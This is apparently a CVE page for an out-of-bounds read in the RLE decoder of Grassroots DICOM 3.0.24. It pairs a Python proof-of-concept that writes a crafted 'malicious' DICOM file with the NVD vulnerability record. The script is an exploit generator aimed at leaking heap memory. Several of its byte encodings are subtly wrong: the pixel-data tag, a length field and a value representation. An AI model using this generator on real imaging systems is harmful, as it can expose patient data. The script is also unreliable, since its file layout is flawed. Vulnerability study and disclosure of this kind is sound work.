CVE-2025-48429

#!/usr/bin/env python3 """ CVE-2025-48429 PoC - Grassroot DICOM RLECodec Out-of-Bounds Read This PoC generates a malicious DICOM file that triggers the OOB read in RLECodec::DecodeByStreams """ import struct import sys def create_malicious_dicom(): """ Create a DICOM file with malformed RLE compressed data to trigger CVE-2025-48429 """ # DICOM header preamble = b'\x00' * 128 # Preamble prefix = b'DICM' # DICM prefix # File Meta Information Group file_meta = b'\x02\x00\x00\x00\x55\x49' # Group 0002 Element 0000 file_meta += struct.pack('<I', 132) # Length # Transfer Syntax UID - RLE Compression transfer_syntax = b'\x02\x00\x10\x00\x55\x49' # Group 0002 Element 0010 transfer_syntax += struct.pack('<I', 17) # Length transfer_syntax += b'1.2.840.10008.1.2.5\x00' # RLE Lossless UID # RLE Segment with malicious data to trigger OOB read # Crafted RLE data that causes buffer overflow in decoder rle_header = b'\x00\x00\x00\x00' # RLE header # Malformed RLE data - causes out-of-bounds read # First byte is repeat count, second is value # Large repeat count without sufficient buffer space malicious_rle = b'\xff\x41' * 1000 # Repeat 'A' 255 times, repeated # Image pixel data with RLE compression pixel_data_tag = b'\x7f\x00\x10\x00' # Pixel Data (7FE0,0010) pixel_data_len = struct.pack('<I', len(rle_header + malicious_rle)) pixel_data = pixel_data_tag + pixel_data_len + rle_header + malicious_rle # Combine all parts dicom_file = preamble + prefix + file_meta + transfer_syntax + pixel_data return dicom_file def main(): print("[*] CVE-2025-48429 PoC Generator") print("[*] Grassroot DICOM RLECodec Out-of-Bounds Read") output_file = "CVE-2025-48429_malicious.dcm" dicom_data = create_malicious_dicom() with open(output_file, 'wb') as f: f.write(dicom_data) print(f"[+] Malicious DICOM file created: {output_file}") print(f"[+] File size: {len(dicom_data)} bytes") print("[*] This file can trigger OOB read in Grassroot DICOM 3.024") print("[*] When opened, it may leak heap memory contents") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-48429", "sourceIdentifier": "[email protected]", "published": "2025-12-16T22:15:47.330", "lastModified": "2026-01-07T22:28:57.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds read vulnerability exists in the RLECodec::DecodeByStreams functionality of Grassroot DICOM 3.024. A specially crafted DICOM file can lead to leaking heap data. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:malaterre:grassroots_dicom:3.0.24:*:*:*:*:*:*:*", "matchCriteriaId": "A16DCE91-B5C6-40F1-A05A-D3446C06CC2D"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2214", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2214", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}